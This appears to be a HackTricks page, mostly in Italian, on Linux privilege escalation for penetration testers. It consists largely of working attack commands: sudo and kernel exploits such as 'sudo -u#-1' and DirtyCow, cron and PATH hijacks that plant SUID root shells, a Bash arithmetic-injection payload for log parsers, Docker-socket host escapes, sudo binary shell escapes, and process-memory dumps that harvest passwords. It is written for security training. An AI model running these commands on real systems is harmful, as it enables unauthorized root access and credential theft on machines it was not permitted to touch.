Linux Privilege Escalation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.

Informazioni sul sistema

Informazioni sull’OS

Iniziamo a raccogliere informazioni sul sistema operativo in esecuzione.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Se hai permessi di scrittura su qualsiasi cartella all’interno della variabile PATH potresti essere in grado di dirottare alcune librerie o binari:

echo $PATH

Informazioni Env

Informazioni interessanti, password o chiavi API nelle variabili d’ambiente?

(env || set) 2>/dev/null

Kernel exploits

Controlla la kernel version e verifica se esiste un exploit utilizzabile per escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Puoi trovare una buona lista di kernel vulnerabili e alcuni compiled exploits qui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits.
Altri siti dove puoi trovare alcuni compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Per estrarre tutte le versioni di kernel vulnerabili da quel sito web puoi fare:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Strumenti che possono aiutare a cercare kernel exploits sono:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (eseguire IN victim, controlla solo exploits per kernel 2.x)

Sempre cerca la versione del kernel su Google, magari la tua versione del kernel è menzionata in qualche kernel exploit e così sarai sicuro che quell’exploit sia valido.

Tecnica aggiuntiva di kernel exploitation:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo versione

Basato sulle versioni di sudo vulnerabili che appaiono in:

searchsploit sudo

Puoi verificare se la versione di sudo è vulnerabile usando questo grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo versions before 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permettono a utenti locali non privilegiati di ottenere privilegi di root tramite l’opzione sudo --chroot quando il file /etc/nsswitch.conf viene usato da una directory controllata dall’utente.

Ecco un PoC per sfruttare quella vulnerability. Prima di eseguire l’exploit, assicurati che la tua versione di sudo sia vulnerabile e che supporti la funzionalità chroot.

Per maggiori informazioni, fai riferimento all’vulnerability advisory

sudo < v1.8.28

Da @sickrov

sudo -u#-1 /bin/bash

Dmesg: verifica della firma fallita

Controlla la smasher2 box di HTB per un esempio di come questa vuln potrebbe essere sfruttata

dmesg 2>/dev/null | grep "signature"

Ulteriore enumerazione del sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerare le possibili difese

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Se sei all’interno di un docker container, puoi provare a evadere da esso:

Docker Security

Unità

Controlla cosa è montato e cosa non è montato, dove e perché. Se qualcosa non è montato, puoi provare a montarlo e controllare informazioni private

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software utile

Elenca i binaries utili

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Verifica anche se è installato un compilatore. Questo è utile se hai bisogno di usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una simile).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software vulnerabile installato

Controlla la versione dei pacchetti e dei servizi installati. Potrebbe esserci qualche vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…
Si raccomanda di verificare manualmente la versione dei software installati più sospetti.

dpkg -l #Debian
rpm -qa #Centos

Se hai accesso SSH alla macchina puoi anche usare openVAS per verificare la presenza di software installato obsoleto o vulnerabile.

[!NOTE] > Nota che questi comandi mostreranno molte informazioni per lo più inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se la versione di un software installato è vulnerabile a exploit noti

Processi

Dai un’occhiata a quali processi sono in esecuzione e verifica se qualche processo ha più privilegi di quelli che dovrebbe (magari un tomcat eseguito da root?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas rileva quelli controllando il parametro --inspect nella command line del processo.
Also check your privileges over the processes binaries, maybe you can overwrite someone.

Process monitoring

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

Process memory

Some services of a server save credentials in clear text inside the memory.
Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.
However, remember that as a regular user you can read the memory of the processes you own.

Warning

Note that nowadays most machines don’t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

• kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
• kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
• kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
• kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.

GDB

If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script per GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Per un determinato process ID, maps mostrano come la memoria è mappata all’interno dello spazio di indirizzi virtuale del processo; mostrano anche i permessi di ogni regione mappata. Il file pseudo mem espone la memoria del processo. Dal file maps sappiamo quali regioni di memoria sono leggibili e i loro offset. Usiamo queste informazioni per posizionarci nel file mem e fare il dump di tutte le regioni leggibili in un file.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornisce accesso alla memoria fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere acceduto usando /dev/kmem.
Tipicamente, /dev/mem è leggibile solo da root e dal gruppo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump per linux

ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Strumenti

Per dumpare la memoria di un processo puoi usare:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (richiede root)

Credenziali dalla memoria del processo

Esempio manuale

Se trovi che il processo authenticator è in esecuzione:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Puoi eseguire il dump del processo (vedi le sezioni precedenti per trovare diversi modi per eseguire il dump della memoria di un processo) e cercare credenziali all’interno della memoria:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

The tool https://github.com/huntergregal/mimipenguin will rubare credenziali in chiaro dalla memoria e da alcuni file ben noti. Richiede privilegi root per funzionare correttamente.

Regex di ricerca/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Attività pianificate/Cron jobs

Crontab UI (alseambusher) in esecuzione come root – pianificatore web privesc

Se un pannello web “Crontab UI” (alseambusher/crontab-ui) viene eseguito come root ed è vincolato solo al loopback, puoi comunque raggiungerlo tramite SSH local port-forwarding e creare un job privilegiato per ottenere escalation dei privilegi.

Tipica catena

• Scoprire porta accessibile solo da loopback (es., 127.0.0.1:8000) e realm Basic-Auth tramite ss -ntlp / curl -v localhost:8000
• Trovare credenziali in operational artifacts:
• Backups/scripts con zip -P <password>
• systemd unit che espone Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
• Tunnel e login:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Crea un job con privilegi elevati ed eseguilo immediatamente (genera uno SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Usalo:

/tmp/rootshell -p   # root shell

Hardening

• Non eseguire Crontab UI come root; vincolalo a un utente dedicato e a permessi minimi
• Limita l’ascolto a localhost e restringi ulteriormente l’accesso tramite firewall/VPN; non riutilizzare le password
• Evita di inserire secrets nei unit files; usa secret stores o EnvironmentFile accessibile solo da root
• Abilita audit/logging per le esecuzioni di job on-demand

Verifica se qualche scheduled job è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Percorso Cron

Ad esempio, all’interno di /etc/crontab puoi trovare il PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Nota come l’utente “user” ha privilegi di scrittura su /home/user)

Se in questo crontab l’utente root tenta di eseguire un comando o uno script senza impostare il PATH. Per esempio: * * * * root overwrite.sh
Allora, puoi ottenere una shell root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron che esegue uno script con un wildcard (Wildcard Injection)

Se uno script eseguito da root contiene una “*” all’interno di un comando, puoi sfruttarlo per provocare comportamenti inaspettati (come privesc). Esempio:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se il wildcard è preceduto da un percorso come /some/path/* , non è vulnerabile (anche ./* non lo è).

Read the following page for more wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection nei parser di log di cron

Bash esegue parameter expansion e command substitution prima della valutazione aritmetica in ((…)), $((…)) e let. Se un cron/parser eseguito come root legge campi di log non attendibili e li inserisce in un contesto aritmetico, un attaccante può iniettare una command substitution $(…) che viene eseguita come root quando il cron viene eseguito.

• Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like $(/bin/bash -c 'id > /tmp/pwn')0 is first substituted (running the command), then the remaining numeric 0 is used for the arithmetic so the script continues without errors.

• Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Sfruttamento: Fai in modo che testo controllato dall’attaccante venga scritto nel log analizzato in modo che il campo con aspetto numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) così che l’operazione aritmetica rimanga valida.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Sovrascrittura dello script cron e symlink

Se puoi modificare uno script cron eseguito da root, puoi ottenere una shell molto facilmente:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se lo script eseguito da root utilizza una directory a cui hai pieno accesso, potrebbe essere utile eliminare quella cartella e creare una cartella symlink verso un’altra che punta a uno script controllato da te

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Cron jobs frequenti

Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi sfruttarli per elevare i privilegi.

Per esempio, per monitorare ogni 0.1s per 1 minuto, ordinare in base ai comandi meno eseguiti e cancellare i comandi che sono stati eseguiti più spesso, puoi fare:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Puoi anche usare pspy (monitorerà ed elencherà ogni processo che viene avviato).

Cron jobs invisibili

È possibile creare un cronjob inserendo un carriage return dopo un commento (senza il carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

File .service scrivibili

Controlla se puoi scrivere qualsiasi .service file, se puoi, potresti modificarlo così che esegua la tua backdoor quando il servizio è avviato, riavviato o arrestato (forse dovrai aspettare che la macchina venga riavviata).
Per esempio crea la tua backdoor dentro il file .service con ExecStart=/tmp/script.sh

File binari di servizio scrivibili

Tieni presente che se hai permessi di scrittura sui binari eseguiti dai servizi, puoi modificarli per backdoors così quando i servizi vengono rieseguiti le backdoors verranno eseguite.

systemd PATH - Percorsi relativi

Puoi vedere il PATH usato da systemd con:

systemctl show-environment

Se scopri che puoi scrivere in una qualsiasi delle cartelle del percorso, potresti essere in grado di escalate privileges. Devi cercare percorsi relativi utilizzati nei file di configurazione dei servizi come:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Quindi, crea un eseguibile con lo stesso nome del binario indicato dal percorso relativo all’interno della cartella PATH di systemd su cui puoi scrivere, e quando al servizio viene richiesto di eseguire l’azione vulnerabile (Start, Stop, Reload), la tua backdoor verrà eseguita (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma verifica se puoi usare sudo -l).

Per saperne di più sui servizi usa man systemd.service.

Timers

Timers sono unit file di systemd il cui nome termina in **.timer** e che controllano file o eventi **.service**. I Timers possono essere usati come alternativa a cron in quanto hanno supporto integrato per eventi basati sul calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono.

Puoi enumerare tutti i timer con:

systemctl list-timers --all

Timer scrivibili

Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una .service o una .target)

Unit=backdoor.service

Nella documentazione puoi leggere cos’è la Unit:

L’unità da attivare quando questo timer scade. L’argomento è un nome di unità, il cui suffisso non è “.timer”. Se non specificato, questo valore predefinito è un service che ha lo stesso nome dell’unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell’unità che viene attivata e il nome dell’unità del timer siano identici, ad eccezione del suffisso.

Pertanto, per abusare di questa permission dovresti:

• Trova qualche systemd unit (come una .service) che sta eseguendo un binario scrivibile
• Trova qualche systemd unit che sta eseguendo un percorso relativo e su cui hai privilegi di scrittura sulla systemd PATH (per impersonare quell’eseguibile)

Learn more about timers with man systemd.timer.

Abilitare il timer

Per abilitare un timer servono privilegi root e bisogna eseguire:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Socket

Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
• Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
• ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
• ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
• Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

Connessione raw

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Nota che potrebbero esserci alcuni sockets in ascolto per richieste HTTP (non sto parlando dei file .socket ma dei file che agiscono come unix sockets). Puoi verificarlo con:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se il socket risponde a una richiesta HTTP, allora puoi comunicare con esso e magari sfruttare qualche vulnerabilità.

Docker socket scrivibile

Il Docker socket, spesso ubicato in /var/run/docker.sock, è un file critico che dovrebbe essere messo in sicurezza. Per impostazione predefinita, è scrivibile dall’utente root e dai membri del gruppo docker. Avere accesso in scrittura a questo socket può portare a un’escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.

Escalation dei privilegi con Docker CLI

Se hai accesso in scrittura al Docker socket, puoi escalare i privilegi usando i seguenti comandi:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Questi comandi consentono di eseguire un container con accesso root al filesystem dell’host.

Uso diretto della Docker API

Nei casi in cui la Docker CLI non è disponibile, la Docker socket può comunque essere manipolata tramite la Docker API e comandi curl.

1. List Docker Images: Retrieve the list of available images.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Send a request to create a container that mounts the host system’s root directory.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Use socat to establish a connection to the container, enabling command execution within it.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

After setting up the socat connection, you can execute commands directly in the container with root-level access to the host’s filesystem.

Altro

Nota che se hai permessi di scrittura sulla docker socket perché sei all’interno del gruppo docker hai more ways to escalate privileges. Se la docker API is listening in a port you can also be able to compromise it.

Controlla more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

Se scopri di poter usare il comando ctr, leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

Se puoi usare il comando runc, leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus è un sofisticato sistema di comunicazione inter-processo (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i moderni sistemi Linux, offre un framework robusto per diverse forme di comunicazione tra applicazioni.

Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, in modo analogo a socket di dominio UNIX avanzati. Inoltre, facilita la trasmissione di eventi o segnali, favorendo un’integrazione senza soluzione di continuità tra i componenti di sistema. Ad esempio, un segnale da un daemon Bluetooth riguardante una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l’esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, razionalizzando processi che tradizionalmente erano complessi.

D-Bus opera su un modello allow/deny, gestendo i permessi dei messaggi (invocazioni di metodi, emissione di segnali, ecc.) basandosi sull’effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo privilege escalation tramite l’abuso di tali permessi.

È fornito un esempio di tale policy in /etc/dbus-1/system.d/wpa_supplicant.conf, che dettaglia i permessi per l’utente root di possedere, inviare e ricevere messaggi da fi.w1.wpa_supplicant1.

Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto “default” si applicano a tutti quelli non coperti da altre policy specifiche.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Impara come enumerare e sfruttare una comunicazione D-Bus qui:

D-Bus Enumeration & Command Injection Privilege Escalation

Rete

È sempre interessante enumerare la rete e capire la posizione della macchina.

Enumerazione generica

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Porte aperte

Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di grab some credentials.

timeout 1 tcpdump

Users

Enumerazione Generica

Controlla who sei, quali privileges possiedi, quali users sono nei sistemi, quali possono effettuare login e quali hanno root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con UID > INT_MAX di elevare i privilegi. More info: here, here and here.
Sfruttalo usando: systemd-run -t /bin/bash

Gruppi

Controlla se sei membro di qualche gruppo che potrebbe concederti i privilegi di root:

Interesting Groups - Linux Privesc

Appunti

Verifica se qualcosa di interessante si trova negli appunti (se possibile)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politica delle password

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Password conosciute

Se conosci qualche password dell’ambiente prova a fare login come ogni utente usando la password.

Su Brute

Se non ti dispiace fare molto rumore e i binari su e timeout sono presenti sul computer, puoi provare un brute-force sugli utenti usando su-bruteforce.
Linpeas con il parametro -a prova anche a effettuare brute-force sugli utenti.

Abusi del PATH scrivibile

$PATH

Se scopri di poter scrivere in qualche cartella del $PATH potresti essere in grado di ottenere l’escalation dei privilegi creando una backdoor all’interno della cartella scrivibile con il nome di un comando che sarà eseguito da un altro utente (idealmente root) e che non venga caricato da una cartella che si trova prima della tua cartella scrivibile nel $PATH.

SUDO and SUID

Potresti essere autorizzato ad eseguire alcuni comandi usando sudo oppure potrebbero avere il bit suid. Verificalo usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alcuni comandi inaspettati permettono di leggere e/o scrivere file o addirittura eseguire un comando. Per esempio:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configurazione di sudo potrebbe consentire a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In questo esempio l’utente demo può eseguire vim come root; è quindi banale ottenere una shell aggiungendo una chiave ssh nella directory root o richiamando sh.

sudo vim -c '!sh'

SETENV

Questa direttiva permette all’utente di set an environment variable mentre esegue qualcosa:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Questo esempio, basato sulla macchina HTB Admirer, era vulnerabile a PYTHONPATH hijacking per caricare una libreria python arbitraria durante l’esecuzione dello script come root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV preservato tramite sudo env_keep → root shell

Se sudoers preserva BASH_ENV (es., Defaults env_keep+="ENV BASH_ENV"), puoi sfruttare il comportamento di avvio non interattivo di Bash per eseguire codice arbitrario come root quando invochi un comando consentito.

